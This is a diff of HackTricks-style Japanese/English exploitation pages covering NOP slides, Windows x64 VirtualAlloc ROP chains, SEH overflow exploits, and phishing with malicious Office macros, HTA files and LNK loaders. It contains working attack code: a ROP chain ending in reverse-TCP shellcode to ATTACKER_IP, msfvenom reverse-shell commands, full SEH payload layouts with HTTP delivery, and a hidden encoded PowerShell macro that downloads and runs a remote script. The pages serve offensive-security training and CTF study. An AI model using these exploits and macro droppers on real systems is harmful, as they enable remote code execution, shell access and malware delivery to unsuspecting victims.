The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
|
||||
**NOP slide**(`asm('nop')`)は、正確なアドレスに関係なく実行が shellcode に「スライド」して入る確率を高めるために使います。`p32()` の引数は、バッファの開始アドレスにオフセットを加え、NOP slide に到達するよう調整してください。
|
||||
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
現代の Windows ではスタックは実行不可(DEP/NX)です。stack BOF 後にスタック上の shellcode を実行する一般的な方法は、モジュールの Import Address Table (IAT) から VirtualAlloc(または VirtualProtect)を呼び出す 64-bit ROP チェーンを組み、スタック領域を実行可能にしてチェーンの後に続く shellcode にリターンする方法です。
|
||||
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
|
||||
|
||||
最新の Windows ではスタックは非実行(DEP/NX)になっています。スタック上の shellcode をスタックの BOF 後でも実行する一般的な方法は、モジュールの Import Address Table (IAT) にある VirtualAlloc(または VirtualProtect)を呼ぶ 64-bit ROP チェーンを組んでスタックの一部を実行可能にし、チェーンの直後に置いた shellcode にリターンすることです。
|
||||
|
||||
Key points (Win64 calling convention):
|
||||
重要な点(Win64 呼び出し規約):
|
||||
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → 現在のスタック内のアドレス(例: RSP)を選び、割り当てられた RWX 領域があなたのペイロードと重なるようにする
|
||||
- RDX = dwSize → チェーン+shellcode を収められる十分な大きさ(例: 0x1000)
|
||||
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
|
||||
- RCX = lpAddress → 現在のスタック内のアドレス(例:RSP)を選び、新しく確保される RWX 領域がペイロードと重なるようにする
|
||||
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
|
||||
- RDX = dwSize → チェーンと shellcode を収めるのに十分な大きさ(例:0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
- チェーンの直後に置いた shellcode に直接リターンする
|
||||
|
||||
Minimal strategy:
|
||||
最小限の戦略:
|
||||
|
||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
|
||||
1) Leak a module base(例:format-string、object pointer などを用いて)して、ASLR 下での絶対 gadget と IAT アドレスを算出する。
|
||||
|
||||
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||
2) RCX/RDX/R8/R9 に値をロードするための gadget(pop や mov/xor 系のシーケンス)と call/jmp [VirtualAlloc@IAT] を見つける。直接 pop r8/r9 が無い場合は、算術 gadget を使って定数を合成する(例:r8=0 にして r9 に 0x40 を40回加算して 0x1000 に到達させる)。
|
||||
|
||||
3) Place stage-2 shellcode immediately after the chain.
|
||||
3) stage-2 shellcode をチェーンの直後に配置する。
|
||||
|
||||
Example layout (conceptual):
|
||||
概念的なレイアウト例:
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
@ -104,13 +123,13 @@ POP_RDX_RET; 0x1000
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
制約された gadget set を使うと、register 値を間接的に作成できます。例えば:
|
||||
制約されたgadgetセットでは、レジスタ値を間接的に作成できます。例えば:
|
||||
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
|
||||
- xor rbx, rsp; ret → seed rbx with the current stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9をrbxから設定し、r8を0にし、ジャンク qwordでスタックを補正する。
|
||||
- xor rbx, rsp; ret → 現在のスタックポインタでrbxを初期化する。
|
||||
- push rbx; pop rax; mov rcx, rax; ret → RSPから得た値をRCXに移す。
|
||||
|
||||
Pwntools スケッチ(既知の base と gadgets がある場合):
|
||||
Pwntools sketch (given a known base and gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
@ -134,28 +153,28 @@ rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
ヒント:
|
||||
- VirtualProtect は、既存のバッファを RX にする方が好ましい場合に同様に動作します。パラメータの順序が異なる点に注意してください。
|
||||
- スタック領域が狭い場合は、別の場所に RWX を割り当て(RCX=NULL)て、スタックを再利用する代わりにその新領域へ jmp してください。
|
||||
- RSP を調整するガジェット(例: add rsp, 8; ret)を常に考慮し、junk qwords を挿入して調整してください。
|
||||
- VirtualProtect は既存のバッファを RX にする方が望ましい場合に同様に動作しますが、パラメータの順序が異なります。
|
||||
- stack の空きが厳しい場合は、RWX を別の場所に割り当て(RCX=NULL)し、stack を再利用する代わりにその新しい領域へ jmp してください。
|
||||
- RSP を調整する gadgets(例: add rsp, 8; ret)を常に考慮し、junk qwords を挿入して対処してください。
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** — 実行間でアドレスを信頼可能にするため。さもないと関数が格納されるアドレスは毎回同じではなく、win 関数がどこにロードされているかを特定するために何らかの leak が必要になります。
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効化しておくべきです。さもないと改竄された EIP のリターンアドレスは実行されません。
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保護は、該当領域が実行不可になるためスタック内の shellcode の実行を防ぎます。
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **無効化する必要があります**。そうしないと、関数が格納されるアドレスが実行ごとに変わってしまい、win関数がどこにロードされているかを把握するために leak が必要になります。
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にする必要があります。そうでないと、改竄された EIP のリターンアドレスが正しく実行されません。
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保護は、該当領域が実行不可になるため、stack 内の shellcode の実行を阻止します。
|
||||
|
||||
## その他の例と参考
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit、ASLR 下で stack address leak があるケース: shellcode を書き込みそこへ jump する
|
||||
- 64bit、ASLR が有効で stack アドレスの leak があるケース。shellcode を書き込み、それにジャンプする。
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit、ASLR 下で stack leak があるケース: shellcode を書き込みそこへ jump する
|
||||
- 32 bit、ASLR が有効で stack の leak があるケース。shellcode を書き込み、それにジャンプする。
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit、ASLR 下で stack leak があり、exit() の呼び出しを防ぐ比較処理を入れつつ変数を上書きして shellcode を書き込み jump するケース
|
||||
- 32 bit、ASLR が有効で stack の leak があり、exit() の呼び出しを防ぐための比較を行い、変数を上書きして値を設定し、shellcode を書き込んでジャンプするケース。
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64、ASLR 無し、ROP gadget を使ってスタックを実行可能にしスタック内の shellcode に jump する
|
||||
- arm64、ASLR なし、ROP gadget を使って stack を実行可能にし、stack 内の shellcode にジャンプする。
|
||||
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
@ -2,24 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation は、スタック上に格納された Structured Exception Handler チェーンを悪用する古典的な x86 Windows の手法です。スタックバッファオーバーフローが次の2つの4バイトフィールドを上書きすると、
|
||||
SEH-based exploitation は、スタック上に保存された Structured Exception Handler チェーンを悪用する古典的な x86 Windows の手法です。スタックバッファオーバーフローで以下の 2 つの 4 バイトフィールドが上書きされると、
|
||||
|
||||
- nSEH: 次の SEH レコードへのポインタ、そして
|
||||
- SEH: 例外ハンドラ関数へのポインタ
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
攻撃者は次の方法で実行制御を奪取できます:
|
||||
攻撃者は実行制御を奪うことができます:
|
||||
|
||||
1) SEH を保護されていないモジュール内の POP POP RET ガジェットのアドレスに設定し、例外がディスパッチされるとそのガジェットが攻撃者制御下のバイト列にリターンするようにする、および
|
||||
2) nSEH を使って実行を(通常は短いジャンプで)シェルコードが存在する大きなオーバーフローしたバッファへ戻す。
|
||||
1) SEH を non-protected module にある POP POP RET ガジェットのアドレスに設定し、例外がディスパッチされるとそのガジェットが攻撃者制御のバイトにリターンするようにすること、および
|
||||
2) nSEH を使って実行をリダイレクト(通常は short jump)し、shellcode が配置されている大きなオーバーフローしたバッファに戻すこと。
|
||||
|
||||
この手法は 32-bit プロセス(x86)に特有です。現代のシステムでは、ガジェット用に SafeSEH と ASLR の無いモジュールを選ぶと良いです。C-strings や HTTP パースの影響で、0x00、0x0a、0x0d(NUL/CR/LF)などがしばしば使用不可の文字になります。
|
||||
この手法は 32-bit プロセス(x86)に特有です。モダンなシステムでは、gadget 用に SafeSEH と ASLR が無効のモジュールを優先してください。C-strings や HTTP パースのため、0x00, 0x0a, 0x0d (NUL/CR/LF) などが bad characters に含まれやすいです。
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- プロセスをクラッシュさせて SEH チェーンが上書きされていることを確認する(例: x32dbg/x64dbg では SEH view を確認)。
|
||||
- オーバーフローさせるデータとして cyclic pattern を送り、nSEH と SEH に入る2つの dword のオフセットを算出する。
|
||||
- プロセスをクラッシュさせ、SEH チェーンが上書きされていることを確認する(例: x32dbg/x64dbg では SEH view を確認)。
|
||||
- オーバーフローするデータとして cyclic pattern を送り、nSEH と SEH に入る 2 つの dword のオフセットを算出する。
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
```bash
|
||||
@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
その位置にマーカーを置いて検証する(例: nSEH=b"BB", SEH=b"CC")。クラッシュを再現可能にするために合計長は一定に保つ。
|
||||
それらの位置にマーカーを置いて検証する(例: nSEH=b"BB", SEH=b"CC")。クラッシュを再現可能にするため、合計長は一定に保つ。
|
||||
|
||||
---
|
||||
|
||||
## POP POP RET (SEH gadget) を選ぶ
|
||||
## POP POP RET (SEH gadget) の選択
|
||||
|
||||
SEHフレームを解除して nSEH バイトに戻すために POP POP RET シーケンスが必要。SafeSEH が無く、理想的には ASLR も無いモジュールで探す:
|
||||
SEHフレームを解放して nSEH バイトに戻すために POP POP RET シーケンスが必要。SafeSEH が無効で、できれば ASLR も無効のモジュールから探す:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
- Mona (Immunity/WinDbg): `!mona modules`、次に `!mona seh -m modulename`。
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` で POP POP RET ガジェットと SafeSEH の状態を一覧表示する。
|
||||
|
||||
リトルエンディアンで書き込んだときに badchars を含まないアドレスを選ぶ(例: `p32(0x004094D8)`)。保護が許すなら脆弱なバイナリ内の gadget を優先する。
|
||||
リトルエンディアンで書き込んだときに badchars を含まないアドレスを選ぶ(例: `p32(0x004094D8)`)。保護が許すなら脆弱なバイナリ内のガジェットを優先する。
|
||||
|
||||
---
|
||||
|
||||
## Jump-back technique (short + near jmp)
|
||||
|
||||
nSEH は 4 バイトしかないため、最大で 2 バイトの short jump(`EB xx`)とパディングしか入らない。バッファ先頭に到達するために何百バイトも戻る必要がある場合は、nSEH の直前に 5 バイトの near jump を置き、nSEH からの short jump でそれにチェーンする。
|
||||
nSEH はわずか4バイトで、最大でも2バイトの short jump(`EB xx`)とパディングが収まる程度。バッファの先頭まで数百バイト戻る必要がある場合は、nSEH の直前に5バイトの near jump を置き、nSEH からの short jump でそれに繋ぐ。
|
||||
|
||||
With nasmshell:
|
||||
nasmshell を使って:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
@ -61,7 +61,7 @@ EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
nSEH が offset 660 にある1000-byte payload のレイアウト案:
|
||||
nSEH が offset 660 にある 1000-byte payload のレイアウト案:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
実行フロー:
|
||||
- 例外が発生し、ディスパッチャーは上書きされた SEH を使用する。
|
||||
- POP POP RET がスタックを巻き戻し、我々の nSEH に到達する。
|
||||
- nSEH は `jmp short -8`(5バイトの near ジャンプ)を実行する。
|
||||
- Near ジャンプはバッファの先頭に着地し、そこには NOP sled + shellcode が存在する。
|
||||
Execution flow:
|
||||
- 例外が発生し、ディスパッチャが上書きされた SEH を使用します。
|
||||
- POP POP RET によりスタックが巻き戻され、nSEH に移ります。
|
||||
- nSEH が `jmp short -8` を実行し、5-byte near jump に入ります。
|
||||
- Near jump はバッファの先頭に着地し、そこで NOP sled + shellcode が配置されています。
|
||||
|
||||
---
|
||||
|
||||
## 無効なバイト (badchars)
|
||||
## Bad characters
|
||||
|
||||
完全な badchar 文字列を作成し、クラッシュ後のスタックメモリを比較して、ターゲットのパーサによって破損するバイトを除外する。HTTPベースのオーバーフローでは、`\x00\x0a\x0d` はほとんど常に除外される。
|
||||
完全な badchar 文字列を構築し、クラッシュ後のスタックメモリと比較して、ターゲットのパーサによって破損するバイトを除去します。HTTP ベースのオーバーフローでは、`\x00\x0a\x0d` はほぼ常に除外されます。
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
@ -90,21 +90,21 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
msfvenomをbadcharsとともに使用してください。小さなNOP sledは着弾位置のばらつきを吸収します。
|
||||
msfvenom を badchars とともに使用してください。小さな NOP sled は着弾のばらつきを許容するのに役立ちます。
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
オンザフライで生成する場合、hex形式はPythonに埋め込んでunhexするのに便利です:
|
||||
オンザフライで生成する場合、hex形式は埋め込んでPythonでunhexするのに便利です:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## HTTPでの配信 (正確な CRLF + Content-Length)
|
||||
## HTTP経由での送信(正確な CRLF + Content-Length)
|
||||
|
||||
脆弱なベクトルがHTTPリクエストボディである場合、正確なCRLFsとContent-Lengthを指定した生のリクエストを作成し、サーバがオーバーフローしたボディ全体を読み取るようにする。
|
||||
脆弱なベクターが HTTP リクエスト本文である場合、正確な CRLFs と Content-Length を含む生のリクエストを作成し、サーバーがオーバーフローする本文全体を読み取るようにします。
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
@ -127,21 +127,21 @@ p.close()
|
||||
|
||||
## ツール
|
||||
|
||||
- x32dbg/x64dbg — SEHチェーンを観察しクラッシュをトリアージするため。
|
||||
- ERC.Xdbg (x64dbg plugin) — SEHガジェットを列挙する: `ERC --SEH`.
|
||||
- Mona — 代替として: `!mona modules`, `!mona seh`.
|
||||
- nasmshell — 短い/近距離ジャンプをアセンブルし生のオペコードをコピーするため。
|
||||
- pwntools — 正確なネットワークペイロードを作成するため。
|
||||
- x32dbg/x64dbg を使って SEHチェーン を観察し、クラッシュのトリアージを行う。
|
||||
- ERC.Xdbg (x64dbg plugin) を使って SEH gadget を列挙する: `ERC --SEH`.
|
||||
- Mona を代替として使用: `!mona modules`, `!mona seh`.
|
||||
- nasmshell を使って短い/近いジャンプをアセンブルし、生のオペコードをコピーする。
|
||||
- pwntools を使って精密なネットワークペイロードを作成する。
|
||||
|
||||
---
|
||||
|
||||
## 注意と留意事項
|
||||
## 注意点と留意事項
|
||||
|
||||
- x86プロセスにのみ適用されます。x64は別のSEHスキームを使用しており、SEHベースのエクスプロイトは一般的に実用的ではありません。
|
||||
- SafeSEHとASLRのないモジュール内のガジェットを優先してください; さもなければ、プロセスにロードされている保護されていないモジュールを見つけてください。
|
||||
- クラッシュ時に自動で再起動するサービスのウォッチドッグは、反復的なエクスプロイト開発を容易にすることがあります。
|
||||
- x86 プロセスにのみ適用されます。x64 は異なる SEH スキームを使用しており、SEH ベースの exploitation は一般的に実用的ではありません。
|
||||
- SafeSEH と ASLR を持たない module 内の gadget を優先する。さもなければ、プロセスにロードされている保護されていない module を見つける。
|
||||
- クラッシュ時に自動的に再起動する Service watchdog は、反復的な exploit 開発を容易にすることがある。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
|
@ -1,40 +1,40 @@
|
||||
# Phishing Files & Documents
|
||||
# Phishing ファイルとドキュメント
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Office Documents
|
||||
## Office ドキュメント
|
||||
|
||||
Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に沿ったデータ構造の識別という形で行われます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。
|
||||
Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に対するデータ構造の識別の形で実行されます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。
|
||||
|
||||
通常、macros を含む Word ファイルは `.docm` 拡張子を使用します。しかし、拡張子を変更してファイル名を変更しても、マクロの実行能力を保持することが可能です.\
|
||||
例えば、RTF ファイルは設計上 macros をサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、macros の実行が可能になります.\
|
||||
同じ内部動作とメカニズムは Microsoft Office Suite (Excel, PowerPoint etc.) のすべてのソフトウェアに適用されます。
|
||||
通常、マクロを含む Word ファイルは `.docm` 拡張子を使用します。しかし、ファイル拡張子を変更してファイル名を変更しても、マクロ実行能力を維持することが可能です.\
|
||||
例えば、RTF ファイルは設計上マクロをサポートしていませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、マクロを実行可能になります.\
|
||||
同じ内部構造とメカニズムは Microsoft Office Suite(Excel、PowerPoint など)のすべてのソフトウェアに適用されます。
|
||||
|
||||
以下のコマンドを使用して、どの拡張子がいくつかの Office プログラムによって実行されるかを確認できます:
|
||||
次のコマンドを使用して、いくつかの Office プログラムが実行する拡張子を確認できます:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
macros を含むリモートテンプレートを参照する DOCX ファイル(File –Options –Add-ins –Manage: Templates –Go)は、macros を“実行”することもできます。
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
|
||||
### External Image Load
|
||||
### 外部画像の読み込み
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References、**Filed names**: includePicture、および**Filename or URL**:_ http://<ip>/whatever
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
文書から任意のコードを実行するためにmacrosを使用することが可能です。
|
||||
文書内の macros を使って任意のコードを実行することが可能です。
|
||||
|
||||
#### Autoload functions
|
||||
#### Autoload 関数
|
||||
|
||||
The more common they are, the more probable the AV will detect them.
|
||||
一般的なものほど、AV に検出されやすくなります。
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Macros Code Examples
|
||||
#### Macros コード例
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -66,14 +66,14 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### メタデータを手動で削除
|
||||
|
||||
「**File > Info > Inspect Document > Inspect Document**」に移動すると Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします。
|
||||
**File > Info > Inspect Document > Inspect Document** に移動すると、Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします。
|
||||
|
||||
#### Doc 拡張子
|
||||
|
||||
完了したら、**Save as type** ドロップダウンで形式を **`.docx`** から **Word 97-2003 `.doc`** に変更します。\
|
||||
これは、**`.docx` にマクロを保存できない**ことと、マクロ有効の **`.docm`** 拡張子にはスティグマ(例:サムネイルアイコンに大きな `!` が表示され、一部の web/メールゲートウェイが完全にブロックする) があるためです。したがって、この **レガシーな `.doc` 拡張子が最良の妥協策** です。
|
||||
完了したら **Save as type** ドロップダウンを選択し、フォーマットを **`.docx`** から **Word 97-2003 `.doc`** に変更します。\\
|
||||
これは **`.docx` 内にマクロを保存できない** のと、マクロ対応の **`.docm`** 拡張子に対するスティグマがあるためです(例:サムネイルアイコンに大きな `!` が表示され、一部の web/メールゲートウェイで完全にブロックされることがあります)。したがって、この **レガシーな `.doc` 拡張子が最良の妥協案** です。
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### 悪意のあるマクロ生成ツール
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## HTA ファイル
|
||||
|
||||
HTA は、HTML とスクリプト言語(VBScript や JScript など)を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けずに「完全に信頼された」アプリケーションとして実行されます。
|
||||
HTA は **HTML とスクリプト言語(VBScript や JScript など)を組み合わせた** Windows プログラムです。ユーザーインターフェースを生成し、ブラウザのセキュリティモデルの制約を受けない「完全に信頼された」アプリケーションとして実行されます。
|
||||
|
||||
HTA は **`mshta.exe`** を使用して実行され、通常は **Internet Explorer** とともにインストールされます。これにより **`mshta` は IE に依存** します。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。
|
||||
HTA は **`mshta.exe`** を使用して実行され、通常 **Internet Explorer** とともに **インストールされます**。そのため **`mshta` は IE に依存します**。したがって、IE がアンインストールされている場合、HTA は実行できません。
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## NTLM認証を強制する
|
||||
## NTLM 認証の強制
|
||||
|
||||
**NTLM認証を「リモートで」強制する**方法はいくつかあります。例えば、ユーザがアクセスするメールやHTMLに**見えない画像**を埋め込む(場合によってはHTTP MitMでも)ことや、被害者にフォルダを開くだけで**認証を** **トリガーする**ような**ファイルのアドレス**を送る、などです。
|
||||
NTLM 認証を「リモートで」強制する方法はいくつかある。例えば、ユーザがアクセスするメールや HTML に **不可視の画像** を追加する(HTTP MitM でも?)。あるいは、フォルダを開くだけで **認証をトリガーする** ファイルの **アドレス** を被害者に送る、など。
|
||||
|
||||
**これらのアイデアやその他の情報は次のページを参照してください:**
|
||||
**以下のページでこれらのアイデアや詳細を確認してください:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,22 +156,22 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
ハッシュや認証情報を盗むだけでなく、**NTLM relay attacks**を実行することも可能です:
|
||||
ハッシュや認証情報を盗むだけでなく、**perform NTLM relay attacks** も可能であることを忘れないでください:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
## LNK ローダー + ZIP 埋め込みペイロード (fileless chain)
|
||||
|
||||
非常に効果的なキャンペーンは、2つの正規のデコイ文書(PDF/DOCX)と悪意ある.lnkを含むZIPを配布します。トリックは、実際のPowerShellローダーがZIPの生バイト列中のユニークなマーカーの後に格納されており、.lnkがそれを切り出してメモリ上で完全に実行する点です。
|
||||
非常に効果的なキャンペーンは、正規に見える二つのデコイドキュメント(PDF/DOCX)と悪意のある .lnk を含む ZIP を配布する。トリックは、実際の PowerShell ローダーが ZIP の生バイト列中のユニークなマーカーの後に格納されており、.lnk がそれを切り出して完全にメモリ上で実行する点にある。
|
||||
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
典型的なフロー(.lnk による PowerShell ワンライナーで実装される):
|
||||
|
||||
1) 一般的なパス(Desktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレント作業ディレクトリの親)から元のZIPを探す。
|
||||
2) ZIPのバイトを読み取り、ハードコードされたマーカー(例: xFIQCV)を探す。マーカー以降が埋め込まれたPowerShellペイロードである。
|
||||
3) %ProgramData%にZIPをコピーし、そこで展開して、デコイの.docxを開いて正当らしく見せる。
|
||||
